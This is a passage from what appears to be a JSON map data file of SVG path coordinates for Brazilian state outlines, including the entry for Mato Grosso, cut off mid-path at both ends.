89482.00 116338.33 89450.00 116349.00 89418.00C116327.67 89418.00 116306.33 89418.00 116285.00 89418.00C116274.33 89375.00 116263.67 89332.00 116253.00 89289.00C116263.67 89267.67 116274.33 89246.33 116285.00 89225.00C116285.00 89203.67 116285.00 89182.33 116285.00 89161.00C116274.33 89150.00 116263.67 89139.00 116253.00 89128.00C116178.00 89139.00 116103.00 89150.00 116028.00 89161.00C116028.00 89118.00 116028.00 89075.00 116028.00 89032.00C116017.33 89010.67 116006.67 88989.33 115996.00 88968.00C116006.67 88946.34 116017.33 88924.66 116028.00 88903.00C116038.67 88892.34 116049.33 88881.66 116060.00 88871.00C116092.00 88881.67 116124.00 88892.33 116156.00 88903.00C116167.00 88903.00 116178.00 88903.00 116189.00 88903.00C116189.00 88881.67 116189.00 88860.33 116189.00 88839.00C116156.67 88817.66 116124.33 88796.34 116092.00 88775.00C116102.67 88742.67 116113.33 88710.33 116124.00 88678.00C116145.67 88656.67 116167.33 88635.33 116189.00 88614.00C116199.67 88560.33 116210.33 88506.67 116221.00 88453.00C116242.33 88421.00 116263.67 88389.00 116285.00 88357.00C116274.33 88314.00 116263.67 88271.00 116253.00 88228.00C116274.33 88217.33 116295.67 88206.67 116317.00 88196.00C116338.67 88206.67 116360.33 88217.33 116382.00 88228.00C116382.20 88216.90 116381.57 88205.72 116382.33 88194.67C116392.89 88152.11 116403.44 88109.56 116414.00 88067.00C116392.33 88056.33 116370.67 88045.67 116349.00 88035.00C116360.00 87981.33 116371.00 87927.67 116382.00 87874.00C116371.00 87842.00 116360.00 87810.00 116349.00 87778.00C116327.67 87746.00 116306.33 87714.00 116285.00 87682.00C116295.67 87649.67 116306.33 87617.33 116317.00 87585.00C116306.33 87574.34 116295.67 87563.66 116285.00 87553.00C116285.00 87510.00 116285.00 87467.00 116285.00 87424.00C116306.33 87402.66 116327.67 87381.34 116349.00 87360.00C116349.00 87338.67 116349.00 87317.33 116349.00 87296.00C116327.67 87263.66 116306.33 87231.34 116285.00 87199.00C116285.00 87156.33 116285.00 87113.67 116285.00 87071.00C116274.33 87060.00 116263.67 87049.00 116253.00 87038.00C116210.00 87049.00 116167.00 87060.00 116124.00 87071.00C116113.33 87038.67 116102.67 87006.33 116092.00 86974.00C116102.67 86952.67 116113.33 86931.33 116124.00 86910.00C116124.00 86856.33 116124.00 86802.67 116124.00 86749.00C116134.67 86727.67 116145.33 86706.33 116156.00 86685.00C116156.04 86652.56 116155.92 86620.11 116156.06 86587.67C116167.04 86523.45 116178.02 86459.22 116189.00 86395.00C116189.00 86363.00 116189.00 86331.00 116189.00 86299.00C116156.67 86266.66 116124.33 86234.34 116092.00 86202.00C116092.23 86190.99 116091.54 86179.87 116092.36 86168.93C116102.91 86137.29 116113.45 86105.65 116124.00 86074.00C116124.00 86063.33 116124.00 86052.67 116124.00 86042.00C116113.33 86031.34 116102.67 86020.66 116092.00 86010.00C116102.67 85988.34 116113.33 85966.66 116124.00 85945.00C116167.00 85902.33 116210.00 85859.67 116253.00 85817.00C116253.00 85784.67 116253.00 85752.33 116253.00 85720.00C116231.67 85688.00 116210.33 85656.00 116189.00 85624.00C116199.67 85602.34 116210.33 85580.66 116221.00 85559.00C116253.00 85548.33 116285.00 85537.67 116317.00 85527.00C116317.00 85495.00 116317.00 85463.00 116317.00 85431.00C116285.00 85398.67 116253.00 85366.33 116221.00 85334.00C116188.67 85334.00 116156.33 85334.00 116124.00 85334.00C116113.33 85323.34 116102.67 85312.66 116092.00 85302.00C116092.00 85248.33 116092.00 85194.67 116092.00 85141.00C116070.67 85098.33 116049.33 85055.67 116028.00 85013.00C116017.33 84959.33 116006.67 84905.67 115996.00 84852.00C115974.78 84809.33 115953.27 84766.80 115931.71 84724.30C115930.11 84718.43 115931.43 84711.95 115931.00 84705.84C115932.05 84700.15 115928.54 84692.56 115933.52 84688.50C115986.34 84636.00 116039.37 84583.70 116092.00 84531.00C116113.33 84520.00 116134.67 84509.00 116156.00 84498.00C116167.00 84476.67 116178.00 84455.33 116189.00 84434.00C116199.67 84423.34 116210.33 84412.66 116221.00 84402.00C116221.00 84359.00 116221.00 84316.00 116221.00 84273.00C116210.33 84241.00 116199.67 84209.00 116189.00 84177.00C116199.67 84155.67 116210.33 84134.33 116221.00 84113.00C116221.00 84070.00 116221.00 84027.00 116221.00 83984.00C116210.33 83973.34 116199.67 83962.66 116189.00 83952.00C116156.67 83952.00 116124.33 83952.00 116092.00 83952.00C116049.33 83941.33 116006.67 83930.67 115964.00 83920.00C115953.00 83920.00 115942.00 83920.00 115931.00 83920.00C115899.00 83855.67 115867.00 83791.33 115835.00 83727.00C115845.67 83684.00 115856.33 83641.00 115867.00 83598.00C115856.33 83576.67 115845.67 83555.33 115835.00 83534.00C115835.00 83437.33 115835.00 83340.67 115835.00 83244.00z"},"br-11":{"name":"Mato Grosso","path":"M64261.00 72698.00C64261.00 72666.00 64261.00 72634.00 64261.00 72602.00C64314.67 72602.00 64368.33 72602.00 64422.00 72602.00C64432.67 72580.33 64443.33 72558.67 64454.00 72537.00C64475.33 72526.33 64496.67 72515.67 64518.00 72505.00C64550.33 72505.00 64582.67 72505.00 64615.00 72505.00C64647.00 72515.67 64679.00 72526.33 64711.00 72537.00C64721.67 72548.00 64732.33 72559.00 64743.00 72570.00C64754.00 72559.00 64765.00 72548.00 64776.00 72537.00C64765.00 72515.67 64754.00 72494.33 64743.00 72473.00C64753.96 72419.15 64765.21 72365.35 64776.00 72311.46C64776.00 72279.64 64776.00 72247.82 64776.00 72216.00C64765.00 72205.33 64754.00 72194.67 64743.00 72184.00C64732.33 72151.67 64721.67 72119.33 64711.00 72087.00C64699.92 72075.44 64687.80 72064.79 64677.42 72052.62C64656.61 72021.41 64635.81 71990.21 64615.00 71959.00C64615.00 71894.67 64615.00 71830.33 64615.00 71766.00C64625.67 71733.67 64636.33 71701.33 64647.00 71669.00C64657.03 71667.70 64672.29 71671.62 64679.00 71667.00C64679.00 71646.33 64679.00 71625.67 64679.00 71605.00C64700.33 71583.67 64721.67 71562.33 64743.00 71541.00C64743.00 71508.67 64743.00 71476.33 64743.00 71444.00C64754.61 71411.06 64765.20 71377.71 64777.47 71345.03C64819.65 71260.02 64861.82 71175.01 64904.00 71090.00C64918.51 71074.86 64934.82 71061.27 64946.72 71043.85C64975.48 71005.90 65004.24 70967.95 65033.00 70930.00C65011.33 70908.33 64989.67 70886.67 64968.00 70865.00C64957.33 70833.00 64946.67 70801.00 64936.00 70769.00C64904.00 70736.67 64872.00 70704.33 64840.00 70672.00C64829.33 70629.33 64818.67 70586.67 64808.00 70544.00C64797.33 70533.33 64786.67 70522.67 64776.00 70512.00C64776.00 70490.33 64776.00 70468.67 64776.00 70447.00C64743.67 70447.00 64711.33 70447.00 64679.00 70447.00C64636.00 70425.67 64593.00 70404.33 64550.00 70383.00C64538.65 70381.23 64524.31 70386.69 64515.00 70380.00C64505.33 70370.33 64495.67 70360.67 64486.00 70351.00C66322.68 70351.10 68159.36 70350.81 69996.03 70351.14C70882.40 70361.76 71768.77 70372.43 72655.14 70383.00C74798.47 70382.92 76941.81 70383.17 79085.13 70382.88C79181.09 70372.25 79277.04 70361.63 79373.00 70351.00C79394.33 70340.33 79415.67 70329.67 79437.00 70319.00C79469.33 70319.00 79501.67 70319.00 79534.00 70319.00C79607.74 70243.49 79683.09 70169.58 79757.80 70095.03C79769.57 70083.65 79780.79 70071.59 79792.96 70060.68C79825.02 70038.91 79857.69 70017.90 79889.37 69995.63C79899.58 69985.42 79909.79 69975.21 79920.00 69965.00C79918.65 69954.42 79922.69 69940.50 79917.98 69932.00C79875.66 69911.00 79833.33 69890.00 79791.00 69869.00C79748.14 69879.62 79705.37 69890.59 79662.46 69901.00C79650.60 69902.02 79637.81 69898.88 79626.53 69902.73C79585.02 69923.49 79543.51 69944.24 79502.00 69965.00C79469.67 69954.33 79437.33 69943.67 79405.00 69933.00C79394.33 69922.33 79383.67 69911.67 79373.00 69901.00C79416.79 69802.89 79460.09 69704.55 79504.20 69606.58C79514.34 69585.86 79525.27 69565.48 79534.83 69544.50C79545.23 69513.33 79555.61 69482.17 79566.00 69451.00C79576.67 69440.00 79587.33 69429.00 79598.00 69418.00C79598.00 69396.67 79598.00 69375.33 79598.00 69354.00C79587.16 69332.57 79576.72 69310.93 79565.62 69289.62C79544.41 69268.41 79523.21 69247.21 79502.00 69226.00C79512.63 69182.81 79523.58 69139.71 79534.00 69096.46C79534.00 69075.31 79534.00 69054.15 79534.00 69033.00C79523.15 69010.46 79511.47 68988.28 79501.17 68965.50C79490.77 68934.33 79480.39 68903.17 79470.00 68872.00C79491.33 68829.00 79512.67 68786.00 79534.00 68743.00C79545.08 68731.44 79557.21 68720.78 79567.59 68708.61C79588.80 68676.36 79610.85 68644.62 79631.51 68612.03C79642.14 68591.23 79652.54 68570.30 79663.33 68549.58C79705.89 68496.39 79748.45 68443.19 79791.00 68390.00C79791.00 68368.33 79791.00 68346.67 79791.00 68325.00C79801.67 68303.67 79812.33 68282.33 79823.00 68261.00C79812.33 68239.67 79801.67 68218.33 79791.00 68197.00C79801.67 68175.33 79812.33 68153.67 79823.00 68132.00C79866.00 68110.67 79909.00 68089.33 79952.00 68068.00C79962.67 68057.33 79973.33 68046.67 79984.00 68036.00C79973.33 68003.67 79962.67 67971.33 79952.00 67939.00C79941.33 67928.33 79930.67 67917.67 79920.00 67907.00C79920.00 67885.67 79920.00 67864.33 79920.00 67843.00C79930.67 67821.67 79941.33 67800.33 79952.00 67779.00C79941.33 67714.67 79930.67 67650.33 79920.00 67586.00C79941.33 67553.67 79962.67 67521.33 79984.00 67489.00C79962.67 67424.67 79941.33 67360.33 79920.00 67296.00C79930.67 67264.00 79941.33 67232.00 79952.00 67200.00C79994.67 67178.67 80037.33 67157.33 80080.00 67136.00C80091.00 67114.33 80102.00 67092.67 80113.00 67071.00C80102.00 67039.00 80091.00 67007.00 80080.00 66975.00C80091.00 66942.67 80102.00 66910.33 80113.00 66878.00C80095.56 66844.27 80078.68 66810.23 80059.27 66777.56C80023.51 66714.71 79987.76 66651.85 79952.00 66589.00C79941.33 66557.00 79930.67 66525.00 79920.00 66493.00C79919.91 66471.16 79920.17 66449.32 79919.87 66427.48C79909.25 66384.99 79898.62 66342.49 79888.00 66300.00C79855.31 66256.23 79822.03 66212.86 79789.71 66168.83C79758.14 66115.89 79726.57 66062.94 79695.00 66010.00C79695.00 65935.00 79695.00 65860.00 79695.00 65785.00C79673.33 65763.67 79651.67 65742.33 79630.00 65721.00C79630.00 65699.67 79630.00 65678.33 79630.00 65657.00C79640.91 65655.64 79655.20 65659.72 79664.00 65654.97C79674.33 65633.98 79684.67 65612.99 79695.00 65592.00C79759.33 65560.00 79823.67 65528.00 79888.00 65496.00C79941.33 65442.33 79994.67 65388.67 80048.00 65335.00C80069.67 65303.00 80091.33 65271.00 80113.00 65239.00C80113.00 65174.67 80113.00 65110.33 80113.00 65046.00C80165.56 64991.34 80220.10 64938.62 80273.24 64884.52C80294.82 64841.68 80316.41 64798.84 80338.00 64756.00C80391.67 64702.33 80445.33 64648.67 80499.00 64595.00C80499.00 64563.00 80499.00 64531.00 80499.00 64499.00C80488.01 64477.47 80476.67 64456.12 80465.90 64434.47C80454.63 64378.82 80444.15 64323.00 80432.38 64267.45C80422.25 64226.64 80412.13 64185.82 80402.00 64145.00C80423.43 64038.02 80444.77 63931.02 80466.00 63824.00C80519.67 63716.67 80573.33 63609.33 80627.00 63502.00C80685.74 63443.29 80745.17 63385.26 80803.43 63326.08C80808.96 63320.39 80814.48 63314.69 80820.00 63309.00C80820.69 63299.07 80818.63 63284.68 80821.02 63277.51C80843.41 63289.02 80866.36 63299.51 80888.36 63311.73C80972.57 63364.49 81056.79 63417.24 81141.00 63470.00C81184.42 63553.12 81225.09 63637.63 81267.02 63721.50C81278.68 63745.00 81290.34 63768.50 81302.00 63792.00C81355.67 63845.33 81409.33 63898.67 81463.00 63952.00C81506.04 64027.18 81549.26 64102.26 81592.20 64177.50C81634.80 64284.66 81677.40 64391.83 81720.00 64499.00C81720.17 64515.21 81719.04 64531.54 81722.35 64547.55C81732.24 64617.03 81742.12 64686.51 81752.00 64756.00C81763.00 64766.67 81774.00 64777.33 81785.00 64788.00C81806.33 64788.00 81827.67 64788.00 81849.00 64788.00C81870.33 64799.00 81891.67 64810.00 81913.00 64821.00C81923.65 64842.53 81934.68 64863.88 81945.08 64885.53C81968.16 65032.94 81990.62 65180.45 82014.11 65327.79C82023.41 65383.86 82032.70 65439.93 82042.00 65496.00C82095.67 65592.33 82149.33 65688.67 82203.00 65785.00C82213.64 65817.52 82224.60 65849.95 82235.05 65882.53C82245.68 66000.20 82256.45 66117.86 82267.00 66235.54C82267.00 66267.69 82267.00 66299.85 82267.00 66332.00C82310.00 66374.67 82353.00 66417.33 82396.00 66460.00C82438.67 66546.00 82481.33 66632.00 82524.00 66718.00C82599.00 66782.00 82674.00 66846.00 82749.00 66910.00C82759.67 66996.00 82770.33 67082.00 82781.00 67168.00C82791.85 67189.43 82802.27 67211.07 82813.38 67232.37C82824.26 67242.91 82835.13 67253.46 82846.00 67264.00C82889.12 67275.03 82932.56 67285.13 82975.49 67296.75C82996.66 67307.50 83017.83 67318.25 83039.00 67329.00C83071.00 67382.33 83103.00 67435.67 83135.00 67489.00C83135.00 67521.33 83135.00 67553.67 83135.00 67586.00C83113.66 67639.52 83092.08 67692.94 83070.90 67746.52C83060.26 67800.02 83049.63 67853.51 83039.00 67907.00C83017.33 67939.33 82995.67 67971.67 82974.00 68004.00C82974.00 68036.00 82974.00 68068.00 82974.00 68100.00C82995.67 68143.00 83017.33 68186.00 83039.00 68229.00C83039.00 68250.33 83039.00 68271.67 83039.00 68293.00C83006.67 68346.67 82974.33 68400.33 82942.00 68454.00C82942.85 68466.27 82940.15 68479.11 82943.66 68490.98C82953.77 68521.32 82963.89 68551.66 82974.00 68582.00C83017.00 68635.67 83060.00 68689.33 83103.00 68743.00C83103.00 68764.67 83103.00 68786.33 83103.00 68808.00C83092.33 68829.33 83081.67 68850.67 83071.00 68872.00C83072.80 68882.91 83067.27 68897.74 83074.01 68906.01C83105.40 68927.21 83137.37 68947.66 83168.37 68969.37C83178.58 68979.58 83188.79 68989.79 83199.00 69000.00C83188.33 69032.33 83177.67 69064.67 83167.00 69097.00C83145.67 69118.33 83124.33 69139.67 83103.00 69161.00C83113.67 69193.33 83124.33 69225.67 83135.00 69258.00C83136.34 69268.59 83132.31 69282.49 83137.01 69291.01C83179.24 69312.21 83221.57 69333.20 83264.00 69354.00C83253.33 69429.00 83242.67 69504.00 83232.00 69579.00C83243.08 69590.57 83255.22 69601.21 83265.58 69613.40C83286.38 69644.93 83307.19 69676.46 83328.00 69708.00C83349.33 69772.33 83370.67 69836.67 83392.00 69901.00C83381.33 69954.67 83370.67 70008.33 83360.00 70062.00C83370.67 70094.00 83381.33 70126.00 83392.00 70158.00C83435.00 70158.00 83478.00 70158.00 83521.00 70158.00C83574.67 70136.67 83628.33 70115.33 83682.00 70094.00C83757.75 70137.26 83833.81 70180.02 83909.37 70223.61C83940.58 70244.74 83971.79 70265.87 84003.00 70287.00C84056.67 70287.00 84110.33 70287.00 84164.00 70287.00C84185.33 70308.33 84206.67 70329.67 84228.00 70351.00C84227.91 70393.84 84228.17 70436.68 84227.87 70479.52C84217.25 70522.35 84206.62 70565.17 84196.00 70608.00C84207.26 70618.79 84217.68 70630.65 84229.49 70640.74C84250.77 70651.33 84272.24 70661.52 84293.38 70672.38C84325.25 70704.59 84357.13 70736.79 84389.00 70769.00C84442.84 70769.07 84496.68 70768.86 84550.52 70769.10C84604.02 70779.74 84657.51 70790.37 84711.00 70801.00C84721.67 70833.33 84732.33 70865.67 84743.00 70898.00C84753.67 70908.67 84764.33 70919.33 84775.00 70930.00C84796.92 70929.77 84818.90 70930.46 84840.78 70929.65C84893.85 70919.10 84946.93 70908.55 85000.00 70898.00C85010.67 70887.00 85021.33 70876.00 85032.00 70865.00C85054.23 70876.17 85076.02 70888.29 85098.53 70898.84C85130.64 70909.63 85163.03 70919.68 85194.95 70930.98C85215.74 70941.48 85236.72 70951.61 85257.38 70962.38C85272.91 70978.20 85289.54 70993.07 85302.69 71011.04C85384.13 71112.36 85465.56 71213.68 85547.00 71315.00C85611.00 71347.33 85675.00 71379.67 85739.00 71412.00C85750.14 71444.13 85760.94 71476.39 85772.29 71508.45C85793.53 71540.63 85814.76 71572.82 85836.00 71605.00C85857.33 71615.67 85878.67 71626.33 85900.00 71637.00C85900.00 71669.33 85900.00 71701.67 85900.00 71734.00C85921.67 71744.67 85943.33 71755.33 85965.00 71766.00C85975.67 71787.33 85986.33 71808.67 85997.00 71830.00C85997.00 71851.33 85997.00 71872.67 85997.00 71894.00C85964.67 71937.00 85932.33 71980.00 85900.00 72023.00C85910.67 72055.00 85921.33 72087.00 85932.00 72119.00C85921.33 72140.67 85910.67 72162.33 85900.00 72184.00C85902.10 72195.93 85895.27 72211.55 85904.51 72220.54C85935.11 72251.26 85966.13 72281.56 85997.00 72312.00C86007.67 72333.67 86018.33 72355.33 86029.00 72377.00C86093.28 72409.10 86157.45 72441.44 86222.00 72473.00C86286.33 72462.33 86350.67 72451.67 86415.00 72441.00C86436.33 72451.67 86457.67 72462.33 86479.00 72473.00C86575.51 72483.65 86672.01 72494.45 86768.54 72505.00C86780.40 72503.99 86793.18 72507.11 86804.46 72503.27C86824.64 72493.18 86844.82 72483.09 86865.00 72473.00C86886.52 72483.68 86907.91 72494.63 86929.52 72505.13C86972.35 72515.75 87015.17 72526.38 87058.00 72537.00C87079.42 72569.89 87101.66 72602.33 87122.57 72635.50C87154.71 72720.67 87186.86 72805.83 87219.00 72891.00C87229.09 72892.16 87243.83 72888.67 87251.00 72892.76C87251.00 72967.17 87251.00 73041.59 87251.00 73116.00C87261.67 73137.33 87272.33 73158.67 87283.00 73180.00C87283.00 73201.67 87283.00 73223.33 87283.00 73245.00C87293.67 73266.33 87304.33 73287.67 87315.00 73309.00C87327.29 73308.15 87340.15 73310.86 87352.05 73307.32C87382.85 73297.10 87413.73 73287.17 87444.45 73276.70C87476.30 73255.47 87508.15 73234.23 87540.00 73213.00C87541.01 73202.50 87537.99 73187.99 87541.51 73180.00C87573.18 73179.92 87604.85 73180.17 87636.52 73179.87C87679.35 73169.25 87722.17 73158.62 87765.00 73148.00C88388.45 73201.72 89011.88 73255.84 89635.35 73309.31C89816.43 73319.94 89997.52 73330.43 90178.60 73341.15C90757.45 73394.81 91336.28 73448.56 91915.13 73502.16C93170.23 73598.68 94425.36 73694.81 95680.43 73791.56C96097.56 73834.38 96514.66 73877.55 96931.80 73920.16C97124.58 73930.84 97317.36 73941.39 97510.13 73952.17C98318.52 74017.65 99126.88 74083.54 99935.29 74148.76C100762.25 74213.11 101589.17 74277.90 102416.14 74341.97C103570.31 74428.27 104724.48 74514.63 105878.70 74600.15C106143.48 74619.72 106408.23 74639.68 106673.02 74659.00C106758.37 74659.05 106843.72 74658.90 106929.07 74659.08C107514.56 74702.48 108100.04 74746.20 108685.55 74789.40C109934.98 74874.85 111184.43 74959.94 112433.85 75045.60C112678.43 75067.08 112923.01 75088.70 113167.60 75110.09C113561.94 75132.01 113956.31 75153.43 114350.63 75175.66C114704.20 75197.78 115057.80 75219.37 115411.34 75241.85C116367.23 75304.90 117323.11 75367.95 118279.00 75431.00C118279.00 75452.33 118279.00 75473.67 118279.00 75495.00C118246.67 75527.34 118214.33 75559.66 118182.00 75592.00C118150.00 75656.33 118118.00 75720.67 118086.00 75785.00C118086.00 75827.67 118086.00 75870.33 118086.00 75913.00C118064.33 75945.33 118042.67 75977.67 118021.00 76010.00C118021.00 76031.33 118021.00 76052.67 118021.00 76074.00C117999.67 76106.34 117978.33 76138.66 117957.00 76171.00C117957.00 76213.67 117957.00 76256.33 117957.00 76299.00C117946.33 76331.33 117935.67 76363.67 117925.00 76396.00C117903.67 76417.34 117882.33 76438.66 117861.00 76460.00C117818.00 76481.33 117775.00 76502.67 117732.00 76524.00C117710.67 76545.67 117689.33 76567.33 117668.00 76589.00C117657.33 76621.00 117646.67 76653.00 117636.00 76685.00C117614.33 76706.33 117592.67 76727.67 117571.00 76749.00C117549.67 76792.00 117528.33 76835.00 117507.00 76878.00C117496.37 76931.85 117485.46 76985.65 117475.00 77039.54C117476.30 77049.39 117472.38 77064.46 117477.00 77071.00C117486.59 77072.15 117500.20 77068.68 117507.25 77072.76C117517.84 77147.17 117528.41 77221.59 117539.00 77296.00C117517.66 77349.85 117496.09 77403.61 117474.90 77457.52C117464.16 77511.17 117453.71 77564.88 117442.79 77618.49C117410.53 77693.33 117378.26 77768.16 117346.00 77843.00C117346.84 77855.27 117344.15 77868.11 117347.66 77879.98C117357.77 77910.32 117367.89 77940.66 117378.00 77971.00C117366.45 77982.09 117355.76 77994.18 117343.62 78004.61C117312.42 78025.74 117281.21 78046.87 117250.00 78068.00C117239.00 78089.33 117228.00 78110.67 117217.00 78132.00C117174.33 78153.33 117131.67 78174.67 117089.00 78196.00C117067.67 78303.33 117046.33 78410.67 117025.00 78518.00C117035.67 78550.00 117046.33 78582.00 117057.00 78614.00C117046.33 78624.66 117035.67 78635.34 117025.00 78646.00C117012.40 78646.89 116999.19 78644.07 116987.01 78647.71C116956.68 78658.14 116926.34 78668.57 116896.00 78679.00C116896.00 78711.00 116896.00 78743.00 116896.00 78775.00C116885.33 78807.00 116874.67 78839.00 116864.00 78871.00C116874.67 78903.33 116885.33 78935.67 116896.00 78968.00C116874.67 79000.00 116853.33 79032.00 116832.00 79064.00C116821.33 79096.33 116810.67 79128.67 116800.00 79161.00C116789.00 79171.67 116778.00 79182.33 116767.00 79193.00C116735.00 79193.00 116703.00 79193.00 116671.00 79193.00C116659.71 79215.08 116649.22 79237.61 116637.39 79259.40C116616.11 79291.04 116595.05 79322.83 116573.62 79354.38C116541.75 79386.26 116509.87 79418.12 116478.00 79450.00C116478.00 79471.67 116478.00 79493.33 116478.00 79515.00C116510.00 79536.33 116542.00 79557.67 116574.00 79579.00C116574.00 79611.00 116574.00 79643.00 116574.00 79675.00C116585.00 79696.67 116596.00 79718.33 116607.00 79740.00C116607.11 79761.50 116606.77 79783.01 116607.17 79804.51C116617.78 79836.34 116628.39 79868.17 116639.00 79900.00C116606.67 79953.67 116574.33 80007.33 116542.00 80061.00C116542.00 80093.33 116542.00 80125.67 116542.00 80158.00C116520.67 80158.00 116499.33 80158.00 116478.00 80158.00C116467.33 80168.66 116456.67 80179.34 116446.00 80190.00C116444.99 80201.71 116448.11 80214.34 116444.27 80225.46C116434.18 80245.64 116424.09 80265.82 116414.00 80286.00C116414.00 80339.67 116414.00 80393.33 116414.00 80447.00C116435.33 80457.67 116456.67 80468.33 116478.00 80479.00C116488.67 80500.33 116499.33 80521.67 116510.00 80543.00C116510.00 80564.67 116510.00 80586.33 116510.00 80608.00C116477.93 80640.17 116445.65 80672.15 116413.70 80704.45C116392.13 80736.63 116370.57 80768.82 116349.00 80801.00C116370.67 80854.67 116392.33 80908.33 116414.00 80962.00C116403.33 80983.33 116392.67 81004.67 116382.00 81026.00C116392.67 81058.00 116403.33 81090.00 116414.00 81122.00C116414.00 81165.00 116414.00 81208.00 116414.00 81251.00C116424.67 81272.33 116435.33 81293.67 116446.00 81315.00C116446.00 81358.00 116446.00 81401.00 116446.00 81444.00C116435.33 81465.33 116424.67 81486.67 116414.00 81508.00C116412.20 81518.92 116417.75 81533.76 116410.97 81542.03C116379.65 81563.02 116348.32 81584.01 116317.00 81605.00C116306.33 81637.00 116295.67 81669.00 116285.00 81701.00C116263.67 81711.67 116242.33 81722.33 116221.00 81733.00C116220.89 81754.84 116221.23 81776.67 116220.83 81798.51C116210.22 81830.34 116199.61 81862.17 116189.00 81894.00C116199.62 81937.19 116210.58 81980.29 116221.00 82023.54C116221.11 82044.86 116220.77 82066.19 116221.17 82087.51C116231.78 82119.34 116242.39 82151.17 116253.00 82183.00C116242.19 82227.55 116230.46 82271.90 116220.24 82316.57C116209.83 82379.38 116199.41 82442.19 116189.00 82505.00C116167.23 82515.84 116145.26 82526.28 116123.62 82537.38C116091.75 82569.26 116059.87 82601.12 116028.00 82633.00C116017.33 82654.66 116006.67 82676.34 115996.00 82698.00C115995.89 82719.50 115996.22 82741.01 115995.83 82762.51C115984.90 82795.14 115974.57 82828.00 115963.25 82860.47C115941.84 82902.65 115920.42 82944.83 115899.00 82987.00C115899.00 83030.00 115899.00 83073.00 115899.00 83116.00C115877.67 83158.67 115856.33 83201.33 115835.00 83244.00C115835.00 83340.67 115835.00 83437.33 115835.00 83534.00C115845.67 83555.33 115856.33 83576.67 115867.00 83598.00C115856.33 83641.00 115845.67 83684.00 115835.00 83727.00C115867.00 83791.33 115899.00 83855.67 115931.00 83920.00C115946.37 83920.56 115962.16 83918.09 115976.99 83923.23C116015.51 83932.83 116053.97 83942.64 116092.54 83952.00C116124.69 83952.00 116156.85 83952.00 116189.00 83952.00C116199.67 83962.66 116210.33 83973.34 116221.00 83984.00C116221.00 84027.00 116221.00 84070.00 116221.00 84113.00C116210.33 84134.33 116199.67 84155.67 116189.00 84177.00C116199.67 84209.00 116210.33 84241.00 116221.00 84273.00C116221.00 84316.00 116221.00 84359.00 116221.00 84402.00C116210.20 84413.25 116198.39 84423.70 116188.24 84435.47C116177.50 84456.32 116166.75 84477.16 116156.00 84498.00C116134.56 84509.17 116112.93 84519.96 116091.62 84531.38C116038.28 84584.79 115984.53 84637.78 115931.00 84691.00C115932.03 84702.71 115928.85 84715.39 115932.77 84726.48C115954.04 84768.22 115975.12 84810.06 115996.00 84852.00C116006.67 84905.67 116017.33 84959.33 116028.00 85013.00C116049.33 85055.67 116070.67 85098.33 116092.00 85141.00C116092.00 85194.67 116092.00 85248.33 116092.00 85302.00C116102.67 85312.66 116113.33 85323.34 116124.00 85334.00C116156.33 85334.00 116188.67 85334.00 116221.00 85334.00C116253.00 85366.33 116285.00 85398.67 116317.00 85431.00C116317.00 85463.00 116317.00 85495.00 116317.00 85527.00C116285.00 85537.67 116253.00 85548.33 116221.00 85559.00C116210.33 85580.66 116199.67 85602.34 116189.00 85624.00C116210.33 85656.00 116231.67 85688.00 116253.00 85720.00C116253.00 85752.33 116253.00 85784.67 116253.00 85817.00C116210.00 85859.67 116167.00 85902.33 116124.00 85945.00C116113.33 85966.66 116102.67 85988.34 116092.00 86010.00C116102.67 86020.66 116113.33 86031.34 116124.00 86042.00C116123.16 86054.27 116125.85 86067.11 116122.34 86078.98C116112.23 86109.32 116102.11 86139.66 116092.00 86170.00C116093.48 86181.12 116089.01 86194.71 116094.27 86204.27C116125.85 86235.85 116157.43 86267.42 116189.00 86299.00C116188.78 86331.67 116189.45 86364.40 116188.65 86397.04C116177.80 86460.87 116166.71 86524.67 116156.00 86588.54C116156.00 86620.69 116156.00 86652.85 116156.00 86685.00C116145.33 86706.33 116134.67 86727.67 116124.00 86749.00C116124.00 86802.67 116124.00 86856.33 116124.00 86910.00C116113.33 86931.33 116102.67 86952.67 116092.00 86974.00C116102.67 87006.33 116113.33 87038.67 116124.00 87071.00C116167.00 87060.00 116210.00 87049.00 116253.00 87038.00C116263.67 87049.00 116274.33 87060.00 116285.00 87071.00C116285.00 87113.67 116285.00 87156.33 116285.00 87199.00C116306.33 87231.34 116327.67 87263.66 116349.00 87296.00C116349.00 87317.33 116349.00 87338.67 116349.00 87360.00C116327.67 87381.34 116306.33 87402.66 116285.00 87424.00C116285.00 87467.00 116285.00 87510.00 116285.00 87553.00C116295.67 87563.66 116306.33 87574.34 116317.00 87585.00C116306.33 87617.33 116295.67 87649.67 116285.00 87682.00C116306.35 87714.19 116328.01 87746.18 116349.17 87778.51C116360.12 87810.34 116371.06 87842.17 116382.00 87874.00C116371.00 87927.67 116360.00 87981.33 116349.00 88035.00C116370.67 88045.67 116392.33 88056.33 116414.00 88067.00C116403.38 88110.19 116392.42 88153.29 116382.00 88196.54C116381.32 88206.30 116383.36 88220.46 116380.98 88227.50C116359.66 88217.00 116338.33 88206.50 116317.00 88196.00C116295.67 88206.67 116274.33 88217.33 116253.00 88228.00C116263.67 88271.00 116274.33 88314.00 116285.00 88357.00C116263.67 88389.00 116242.33 88421.00 116221.00 88453.00C116210.33 88506.67 116199.67 88560.33 116189.00 88614.00C116167.33 88635.33 116145.67 88656.67 116124.00 88678.00C116113.33 88710.33 116102.67 88742.67 116092.00 88775.00C116124.33 88796.34 116156.67 88817.66 116189.00 88839.00C116189.00 88860.33 116189.00 88881.67 116189.00 88903.00C116176.40 88902.14 116163.22 88904.87 116151.01 88901.34C116120.68 88891.23 116090.34 88881.11 116060.00 88871.00C116049.22 88882.26 116037.35 88892.67 116027.26 88904.49C116016.85 88925.66 116006.42 88946.83 115996.00 88968.00C116006.67 88989.33 116017.33 89010.67 116028.00 89032.00C116028.00 89075.00 116028.00 89118.00 116028.00 89161.00C116103.00 89150.00 116178.00 89139.00 116253.00 89128.00C116263.67 89139.00 116274.33 89150.00 116285.00 89161.00C116285.00 89182.33 116285.00 89203.67 116285.00 89225.00C116274.33 89246.33 116263.67 89267.67 116253.00 89289.00C116263.67 89332.00 116274.33 89375.00 116285.00 89418.00C116306.33 89418.00 116327.67 89418.00 116349.00 89418.00C116338.33 89450.00 116327.67 89482.00 116317.00 89514.00C116338.67 89535.66 116360.33 89557.34 116382.00 89579.00C116382.00 89621.67 116382.00 89664.33 116382.00 89707.00C116371.00 89728.33 116360.00 89749.67 116349.00 89771.00C116381.33 89771.00 116413.67 89771.00 116446.00 89771.00C116424.67 89814.00 116403.33 89857.00 116382.00 89900.00C116382.00 89921.33 116382.00 89942.67 116382.00 89964.00C116392.67 89975.00 116403.33 89986.00 116414.00 